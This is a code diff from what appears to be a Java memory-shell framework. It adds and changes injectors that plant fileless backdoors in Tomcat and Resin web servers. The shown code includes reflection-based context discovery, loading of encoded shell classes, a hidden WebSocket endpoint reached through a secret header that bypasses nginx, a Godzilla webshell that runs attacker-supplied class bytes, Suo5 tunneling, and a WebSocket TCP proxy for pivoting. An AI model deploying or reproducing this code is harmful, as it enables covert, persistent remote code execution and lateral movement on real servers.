* @since 2025/3/26
*/
public class ResinFilterChainAgentInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "com/caucho/server/dispatch/FilterFilterChain";
private static final String TARGET_METHOD_NAME = "doFilter";
private static final String[] TARGET_CLASSES = new String[]{
"com/caucho/server/http/FilterChainFilter",
"com/caucho/server/dispatch/FilterFilterChain",
};
public static String getClassName() {
return "{{advisorName}}";
}
@@ -38,8 +40,10 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
inst.addTransformer(new ResinFilterChainAgentInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
for (String targetClass : TARGET_CLASSES) {
if (targetClass.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
}
}
}
}
@@ -48,22 +52,24 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
@SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
defineTargetClass(loader);
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
for (String targetClass : TARGET_CLASSES) {
if (className.equals(targetClass)) {
defineTargetClass(loader);
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + targetClass.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
}
return bytes;
@@ -6,7 +6,10 @@ import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
@@ -6,7 +6,6 @@ import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Arrays;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
@@ -6,7 +6,9 @@ import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
@@ -0,0 +1,286 @@
package com.reajason.javaweb.memshell.injector.tomcat;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2026/1/13
*/
public class TomcatWebSocketByPassInjector {
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
public String getHelperBase64String() {
return "{{helperBase64String}}";
}
public TomcatWebSocketByPassInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
private ClassLoader getWebAppClassLoader(Object context) {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object loader = invokeMethod(context, "getLoader", null, null);
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
}
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
clazz = defineShell(classLoader, getBase64String());
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
private Class<?> defineShell(ClassLoader classLoader, String base64) throws Exception {
byte[] clazzByte = gzipDecompress(decodeBase64(base64));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
return ((Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length));
}
@SuppressWarnings("unchecked")
private void inject(Object context, Object obj) throws Exception {
Object servletContext = invokeMethod(context, "getServletContext", null, null);
Object container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"});
if (container == null) {
container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"jakarta.websocket.server.ServerContainer"});
}
if (container == null) {
throw new RuntimeException("container is null");
}
if (invokeMethod(container, "findMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) {
return;
}
Object valve = defineShell(context.getClass().getClassLoader(), getHelperBase64String()).newInstance();
Object pipeline = invokeMethod(context, "getPipeline", null, null);
Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
ClassLoader contextClassLoader = context.getClass().getClassLoader();
Class<?> serverEndpointConfigClass;
Class<?> builderClass;
try {
serverEndpointConfigClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig");
builderClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder");
} catch (ClassNotFoundException e) {
serverEndpointConfigClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig");
builderClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig$Builder");
}
Constructor<?> constructor = builderClass.getDeclaredConstructor(Class.class, String.class);
constructor.setAccessible(true);
Object o1 = constructor.newInstance(obj.getClass(), getUrlPattern());
Object endpointConfig = invokeMethod(o1, "build", null, null);
invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
}
@Override
public String toString() {
return msg;
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -5,9 +5,7 @@ import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
@@ -5,11 +5,8 @@ import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import java.util.zip.GZIPInputStream;
@@ -6,10 +6,12 @@ import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.management.ManagementFactory;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
@@ -7,11 +7,9 @@ import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.management.ManagementFactory;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Arrays;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;
@@ -6,7 +6,6 @@ import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
@@ -46,6 +46,8 @@ public class Tomcat extends AbstractServer {
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
.addInjector(WEBSOCKET, TomcatWebSocketInjector.class)
.addInjector(JAKARTA_WEBSOCKET, TomcatWebSocketInjector.class)
.addInjector(BYPASS_NGINX_WEBSOCKET, TomcatWebSocketByPassInjector.class)
.addInjector(JAKARTA_BYPASS_NGINX_WEBSOCKET, TomcatWebSocketByPassInjector.class)
.addInjector(UPGRADE, TomcatUpgradeInjector.class)
.build();
}
@@ -3,7 +3,6 @@ package com.reajason.javaweb.memshell.shelltool.command;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.mvc.Controller;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
@@ -1,6 +1,5 @@
package com.reajason.javaweb.memshell.shelltool.command;
import javax.servlet.ServletOutputStream;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
@@ -1,7 +1,6 @@
package com.reajason.javaweb.memshell.shelltool.command;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@@ -4,7 +4,6 @@ import javax.websocket.Endpoint;
import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler;
import javax.websocket.Session;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.util.Scanner;
@@ -16,7 +16,6 @@ import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.ByteBuffer;
import java.nio.charset.Charset;
import static java.nio.charset.StandardCharsets.UTF_8;
@@ -12,21 +12,22 @@ import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.ByteBuffer;
/**
* @author ReaJason
* @since 2025/5/9
*/
public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<String> {
public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<ByteBuffer> {
public static String key;
private Session session;
private static Class<?> payload;
@Override
public void onMessage(String message) {
public void onMessage(ByteBuffer byteBuffer) {
byte[] result = null;
try {
byte[] data = base64Decode(message);
byte[] data = byteBuffer.array();
data = x(data, false);
if (payload == null || (data[0] == -54 && data[1] == -2)) {
payload = reflectionDefineClass(data);
@@ -44,7 +45,7 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<
result = getErrorMessage(e).getBytes();
}
try {
session.getBasicRemote().sendText(base64Encode(x(result, true)));
session.getBasicRemote().sendBinary(ByteBuffer.wrap(x(result, true)));
} catch (Exception ignored) {
}
}
@@ -83,28 +84,6 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<
session.addMessageHandler(this);
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
try {
Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
}
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception {
try {
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
}
}
public byte[] x(byte[] s, boolean m) throws Exception {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
@@ -248,8 +248,9 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
baos.write(bodyContent);
byte[] newBody = baos.toByteArray();
conn = redirect(req, new String(redirectData), newBody);
resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(conn.getResponseCode())});
OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
pipeStream(conn.getInputStream(), out, false);
pipeStream(conn.getInputStream(), out, resp, false);
} finally {
if (conn != null) {
conn.disconnect();
@@ -346,11 +347,10 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
Thread t = null;
boolean sendClose = true;
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
try {
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId);
t = new Thread(p);
t.start();
@@ -539,8 +539,8 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
throw new IOException("tunnel not found");
}
SocketChannel sc = (SocketChannel) objs[0];
if (!sc.isConnected()) {
throw new IOException("socket not connected");
if (!sc.isOpen()) {
return;
}
byte[] data = (byte[]) dataMap.get("dt");
@@ -563,9 +563,6 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
throw new IOException("tunnel not found");
}
SocketChannel sc = (SocketChannel) objs[0];
if (!sc.isConnected()) {
throw new IOException("socket not connected");
}
ByteArrayOutputStream baos = new ByteArrayOutputStream();
BlockingQueue<byte[]> readQueue = (BlockingQueue<byte[]>) objs[1];
int maxSize = 512 * 1024; // 1MB
@@ -582,6 +579,10 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
break; // no more data
}
}
if (!sc.isOpen() && readQueue.isEmpty()) {
performDelete(tunId);
baos.write(marshalBase64(newDel(tunId)));
}
return baos.toByteArray();
}
@@ -610,7 +611,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
return port;
}
private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception {
private void pipeStream(InputStream inputStream, OutputStream outputStream, Object resp, boolean needMarshal) throws Exception {
try {
byte[] readBuf = new byte[1024 * 8];
while (true) {
@@ -624,6 +625,9 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
}
outputStream.write(dataTmp);
outputStream.flush();
if (resp != null) {
resp.getClass().getMethod("flushBuffer").invoke(resp);
}
}
} finally {
// don't close outputStream
@@ -1031,7 +1035,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
// full stream
if (this.mode == 0) {
try {
pipeStream(gInStream, gOutStream, true);
pipeStream(gInStream, gOutStream, null, true);
} catch (Exception ignore) {
}
return;
@@ -1065,10 +1069,17 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
// write thread
while (true) {
byte[] data = writeQueue.poll(300, TimeUnit.SECONDS);
if (data == null || data.length == 0) {
if (data == null) {
selfClean = true;
break;
}
if (data.length == 0) {
byte[] signal = writeQueue.poll(10, TimeUnit.SECONDS);
if (signal == null) {
selfClean = true;
}
break;
}
ByteBuffer buf = ByteBuffer.wrap(data);
while (buf.hasRemaining()) {
sc.write(buf);
@@ -1080,8 +1091,8 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
if (selfClean) {
removeKey(this.gtunId);
readQueue.clear();
}
readQueue.clear();
writeQueue.clear();
try {
writeQueue.put(new byte[0]);
@@ -0,0 +1,96 @@
package com.reajason.javaweb.memshell.shelltool.wsbypass;
import org.apache.catalina.Valve;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import javax.servlet.ServletException;
import javax.websocket.server.ServerContainer;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/**
* @author ReaJason
* @since 2026/1/13
*/
public class TomcatWsBypassValve implements Valve {
public static String headerName;
public static String headerValue;
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
String pathInfo = request.getPathInfo();
String path;
if (pathInfo == null) {
path = request.getServletPath();
} else {
path = request.getServletPath() + pathInfo;
}
Object sc = request.getServletContext().getAttribute(ServerContainer.class.getName());
if (sc == null) {
throw new ServletException("Server container not found");
}
Object mappingResult = sc.getClass().getMethod("findMapping", String.class).invoke(sc, path);
Class<?> upgradeUtil = Class.forName("org.apache.tomcat.websocket.server.UpgradeUtil");
for (Method method : upgradeUtil.getMethods()) {
if ("doUpgrade".equals(method.getName())) {
addHeader(request, "Connection", "upgrade");
addHeader(request, "Upgrade", "websocket");
method.invoke(null, sc, request, response, getFieldValue(mappingResult, "config"), getFieldValue(mappingResult, "pathParams"));
}
}
return;
}
} catch (Throwable e) {
e.printStackTrace();
}
this.getNext().invoke(request, response);
}
private Object getFieldValue(Object obj, String fieldName) throws Exception {
Field declaredField = obj.getClass().getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField.get(obj);
}
private void addHeader(Request request, String key, String value) {
try {
Field coyoteRequestField = request.getClass().getDeclaredField("coyoteRequest");
coyoteRequestField.setAccessible(true);
Object coyoteRequest = coyoteRequestField.get(request);
Method getMimeHeadersMethod = coyoteRequest.getClass().getMethod("getMimeHeaders");
Object mimeHeaders = getMimeHeadersMethod.invoke(coyoteRequest);
Method addValueMethod = mimeHeaders.getClass().getMethod("addValue", String.class);
Object messageBytes = addValueMethod.invoke(mimeHeaders, key);
Method setStringMethod = messageBytes.getClass().getMethod("setString", String.class);
setStringMethod.invoke(messageBytes, value);
} catch (Exception e) {
e.printStackTrace();
}
}
Valve next;
@Override
public Valve getNext() {
return this.next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public boolean isAsyncSupported() {
return false;
}
@Override
public void backgroundProcess() {
}
}
@@ -0,0 +1,111 @@
package com.reajason.javaweb.memshell.shelltool.wsproxy;
import javax.websocket.Endpoint;
import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler;
import javax.websocket.Session;
import java.io.ByteArrayOutputStream;
import java.net.InetSocketAddress;
import java.nio.ByteBuffer;
import java.nio.channels.AsynchronousSocketChannel;
import java.nio.channels.CompletionHandler;
import java.util.HashMap;
import java.util.concurrent.Future;
import java.util.concurrent.TimeUnit;
/**
* @author ReaJason
* @since 2026/1/14
*/
public class ProxyWebSocket extends Endpoint implements MessageHandler.Whole<ByteBuffer>, CompletionHandler<Integer, Session> {
private Session session;
private long messageCount = 0;
private AsynchronousSocketChannel currentClient = null;
private final ByteBuffer buffer = ByteBuffer.allocate(102400);
private ByteArrayOutputStream baos = new ByteArrayOutputStream();
private final HashMap<String, AsynchronousSocketChannel> channelMap = new HashMap<>();
public ProxyWebSocket() {
}
public void completed(Integer result, Session attachment) {
buffer.clear();
try {
if (buffer.hasRemaining() && result >= 0) {
byte[] arr = new byte[result];
buffer.get(arr, 0, result);
baos.write(arr, 0, result);
ByteBuffer response = ByteBuffer.wrap(baos.toByteArray());
if (attachment.isOpen()) {
attachment.getBasicRemote().sendBinary(response);
}
baos = new ByteArrayOutputStream();
readFromServer(attachment, currentClient);
} else {
if (result > 0) {
byte[] arr = new byte[result];
buffer.get(arr, 0, result);
baos.write(arr, 0, result);
readFromServer(attachment, currentClient);
}
}
} catch (Exception ignored) {
}
}
@Override
public void failed(Throwable exc, Session attachment) {
exc.printStackTrace();
}
public void onMessage(ByteBuffer message) {
try {
message.clear();
messageCount++;
process(message, session);
} catch (Exception ignored) {
}
}
public void onOpen(Session session, EndpointConfig endpointConfig) {
this.messageCount = 0;
this.session = session;
session.setMaxBinaryMessageBufferSize(1024 * 1024 * 1024);
session.setMaxTextMessageBufferSize(1024 * 1024 * 1024);
session.addMessageHandler(this);
}
private void readFromServer(Session channel, AsynchronousSocketChannel client) {
this.currentClient = client;
buffer.clear();
client.read(buffer, channel, this);
}
private void process(ByteBuffer messageBuffer, Session channel) {
try {
if (messageCount > 1) {
AsynchronousSocketChannel client = channelMap.get(channel.getId());
client.write(messageBuffer).get();
readFromServer(channel, client);
} else if (messageCount == 1) {
String values = new String(messageBuffer.array());
String[] array = values.split(" ");
String[] addrArray = array[1].split(":");
AsynchronousSocketChannel client = AsynchronousSocketChannel.open();
int port = Integer.parseInt(addrArray[1]);
InetSocketAddress hostAddress = new InetSocketAddress(addrArray[0], port);
Future<Void> future = client.connect(hostAddress);
try {
future.get(10, TimeUnit.SECONDS);
} catch (Exception ignored) {
channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
return;
}
channelMap.put(channel.getId(), client);
readFromServer(channel, client);
channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
}
} catch (Exception ignored) {
}
}
}
@@ -1,8 +1,6 @@
package com.reajason.javaweb.probe.config;
import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.NoArgsConstructor;
import lombok.ToString;
import lombok.experimental.SuperBuilder;
@@ -9,7 +9,6 @@ import com.reajason.javaweb.probe.payload.JdkProbe;
import com.reajason.javaweb.probe.payload.ServerProbe;
import com.reajason.javaweb.probe.payload.dns.DnsLogJdk;
import com.reajason.javaweb.probe.payload.dns.DnsLogServer;
import com.reajason.javaweb.utils.CommonUtil;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.dynamic.DynamicType;
@@ -7,7 +7,6 @@ import com.reajason.javaweb.probe.config.ProbeConfig;
import com.reajason.javaweb.probe.config.SleepConfig;
import com.reajason.javaweb.probe.payload.ServerProbe;
import com.reajason.javaweb.probe.payload.sleep.SleepServer;
import com.reajason.javaweb.utils.CommonUtil;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.dynamic.DynamicType;
@@ -92,4 +92,25 @@ class CustomShellGeneratorTest {
assertTrue(referencedClasses.contains("com/bes/enterprise/webtier/Valve"));
assertFalse(referencedClasses.contains("org/apache/catalina/Valve"));
}
@Test
@SneakyThrows
void testJakartaServlet(){
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADcAgQoAGwBMCAA4CwA7AE0KABoATgoAGgBPCgAPAFALADwAUQoAUgBTBwBUBwBVCgAKAFYIAFcKAA8AWAgAWQcAWgcAWwoADwBcBwBdCgBeAF8HAC8IAGAIAGEKABIAYggAYwgAZAcAZQcAZgcAZwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAaTEJhc2U2NENsYXNzTG9hZGVyU2VydmxldDsBAARpbml0AQAiKExqYWthcnRhL3NlcnZsZXQvU2VydmxldENvbmZpZzspVgEABmNvbmZpZwEAH0xqYWthcnRhL3NlcnZsZXQvU2VydmxldENvbmZpZzsBAApFeGNlcHRpb25zBwBoAQAQZ2V0U2VydmxldENvbmZpZwEAISgpTGpha2FydGEvc2VydmxldC9TZXJ2bGV0Q29uZmlnOwEAB3NlcnZpY2UBAEQoTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEABWJ5dGVzAQACW0IBAANvYmoBABJMamF2YS9sYW5nL09iamVjdDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADcmVxAQAgTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAANyZXMBACFMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAARkYXRhAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAaQcAagcAawEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAxkZWNvZGVyQ2xhc3MBABFMamF2YS9sYW5nL0NsYXNzOwEAB2RlY29kZXIBAAR2YXI0AQAJYmFzZTY0U3RyAQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQAOZ2V0U2VydmxldEluZm8BABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB2Rlc3Ryb3kBAApTb3VyY2VGaWxlAQAdQmFzZTY0Q2xhc3NMb2FkZXJTZXJ2bGV0LmphdmEMAB0AHgwAbABtDAA+AD8MAG4AbwwAcABxDAByAHMHAHQMAHUAdgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAHQB3AQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgwAeAB5AQAMZGVjb2RlQnVmZmVyAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwwAegB7AQAQamF2YS9sYW5nL09iamVjdAcAfAwAfQB+AQAQamF2YS51dGlsLkJhc2U2NAEACmdldERlY29kZXIMAH8AgAEABmRlY29kZQEAAAEAGEJhc2U2NENsYXNzTG9hZGVyU2VydmxldAEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAF2p